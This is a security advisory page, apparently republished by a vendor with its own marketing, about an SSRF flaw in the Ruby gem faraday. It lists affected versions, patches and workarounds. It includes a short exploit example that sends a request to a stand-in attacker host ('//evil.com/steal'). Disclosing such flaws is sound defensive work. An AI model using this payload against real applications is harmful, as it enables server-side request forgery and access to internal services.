GHSA-33mh-2634-fwr2 is a medium-severity (CVSS 5.8) Server-Side Request Forgery (SSRF) vulnerability in faraday. O3 Security confirms whether GHSA-33mh-2634-fwr2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url
Real-World Exposure
faraday💎faradayReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.
This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.
Example:
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com
Patches
Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character
- Use an allowlist of permitted path prefixes
- Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation:
def safe_path(user_input)
raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
user_input
end
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | faraday | ≥ 2.0.0&&< 2.14.1 | 2.14.1 |
| 💎RubyGems | faraday | ≥ 1.0.0&&< 1.10.5 | 1.10.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for faraday. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update faraday to 2.14.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-33mh-2634-fwr2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-33mh-2634-fwr2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-33mh-2634-fwr2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-33mh-2634-fwr2 in your dependencies?
O3 detects GHSA-33mh-2634-fwr2 across RubyGems dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.